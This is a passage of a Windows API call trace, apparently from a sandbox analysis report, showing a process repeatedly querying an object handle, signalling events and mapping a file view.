Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.833] ResetEvent (hEvent=0xdc) returned 1 [0093.833] SetEvent (hEvent=0xe0) returned 1 [0093.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.833] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.833] ResetEvent (hEvent=0xdc) returned 1 [0093.834] SetEvent (hEvent=0xe0) returned 1 [0093.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.834] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.834] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.834] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.834] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.834] ResetEvent (hEvent=0xdc) returned 1 [0093.834] SetEvent (hEvent=0xe0) returned 1 [0093.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.835] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.835] ResetEvent (hEvent=0xdc) returned 1 [0093.835] SetEvent (hEvent=0xe0) returned 1 [0093.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.836] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.836] ResetEvent (hEvent=0xdc) returned 1 [0093.836] SetEvent (hEvent=0xe0) returned 1 [0093.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.837] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.837] ResetEvent (hEvent=0xdc) returned 1 [0093.837] SetEvent (hEvent=0xe0) returned 1 [0093.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.839] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.839] ResetEvent (hEvent=0xdc) returned 1 [0093.839] SetEvent (hEvent=0xe0) returned 1 [0093.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.840] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.840] ResetEvent (hEvent=0xdc) returned 1 [0093.840] SetEvent (hEvent=0xe0) returned 1 [0093.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.841] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.841] ResetEvent (hEvent=0xdc) returned 1 [0093.841] SetEvent (hEvent=0xe0) returned 1 [0093.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.842] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.842] ResetEvent (hEvent=0xdc) returned 1 [0093.842] SetEvent (hEvent=0xe0) returned 1 [0093.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.843] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.843] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.843] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.843] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.843] ResetEvent (hEvent=0xdc) returned 1 [0093.843] SetEvent (hEvent=0xe0) returned 1 [0093.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.843] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.844] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.844] ResetEvent (hEvent=0xdc) returned 1 [0093.844] SetEvent (hEvent=0xe0) returned 1 [0093.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.844] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.844] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.845] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.845] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.845] ResetEvent (hEvent=0xdc) returned 1 [0093.845] SetEvent (hEvent=0xe0) returned 1 [0093.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.845] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.846] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.846] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.846] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.846] ResetEvent (hEvent=0xdc) returned 1 [0093.846] SetEvent (hEvent=0xe0) returned 1 [0093.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.846] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.846] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.847] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.847] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.847] ResetEvent (hEvent=0xdc) returned 1 [0093.847] SetEvent (hEvent=0xe0) returned 1 [0093.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.847] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.847] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.847] ResetEvent (hEvent=0xdc) returned 1 [0093.848] SetEvent (hEvent=0xe0) returned 1 [0093.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.848] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.848] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.848] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.848] ResetEvent (hEvent=0xdc) returned 1 [0093.849] SetEvent (hEvent=0xe0) returned 1 [0093.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.849] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.849] ResetEvent (hEvent=0xdc) returned 1 [0093.849] SetEvent (hEvent=0xe0) returned 1 [0093.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.850] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.850] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.850] ResetEvent (hEvent=0xdc) returned 1 [0093.850] SetEvent (hEvent=0xe0) returned 1 [0093.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.851] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.851] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.851] ResetEvent (hEvent=0xdc) returned 1 [0093.851] SetEvent (hEvent=0xe0) returned 1 [0093.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.851] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.852] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.852] ResetEvent (hEvent=0xdc) returned 1 [0093.852] SetEvent (hEvent=0xe0) returned 1 [0093.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.852] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.853] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.853] ResetEvent (hEvent=0xdc) returned 1 [0093.853] SetEvent (hEvent=0xe0) returned 1 [0093.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.853] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.853] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.853] ResetEvent (hEvent=0xdc) returned 1 [0093.854] SetEvent (hEvent=0xe0) returned 1 [0093.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.854] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.854] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.854] ResetEvent (hEvent=0xdc) returned 1 [0093.854] SetEvent (hEvent=0xe0) returned 1 [0093.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.855] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.855] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.855] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.855] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.855] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.855] ResetEvent (hEvent=0xdc) returned 1 [0093.855] SetEvent (hEvent=0xe0) returned 1 [0093.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.856] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.856] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.856] ResetEvent (hEvent=0xdc) returned 1 [0093.856] SetEvent (hEvent=0xe0) returned 1 [0093.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.857] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.857] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.857] ResetEvent (hEvent=0xdc) returned 1 [0093.857] SetEvent (hEvent=0xe0) returned 1 [0093.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.857] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.858] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.858] ResetEvent (hEvent=0xdc) returned 1 [0093.858] SetEvent (hEvent=0xe0) returned 1 [0093.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.858] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.859] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.859] ResetEvent (hEvent=0xdc) returned 1 [0093.859] SetEvent (hEvent=0xe0) returned 1 [0093.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.859] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.860] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.860] ResetEvent (hEvent=0xdc) returned 1 [0093.860] SetEvent (hEvent=0xe0) returned 1 [0093.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.860] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.860] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.860] ResetEvent (hEvent=0xdc) returned 1 [0093.860] SetEvent (hEvent=0xe0) returned 1 [0093.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.861] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.862] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.862] ResetEvent (hEvent=0xdc) returned 1 [0093.862] SetEvent (hEvent=0xe0) returned 1 [0093.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.862] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.862] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.862] ResetEvent (hEvent=0xdc) returned 1 [0093.863] SetEvent (hEvent=0xe0) returned 1 [0093.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.863] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.863] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.863] ResetEvent (hEvent=0xdc) returned 1 [0093.863] SetEvent (hEvent=0xe0) returned 1 [0093.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.864] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.864] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.864] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.864] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.864] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.864] ResetEvent (hEvent=0xdc) returned 1 [0093.864] SetEvent (hEvent=0xe0) returned 1 [0093.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.865] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.865] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.865] ResetEvent 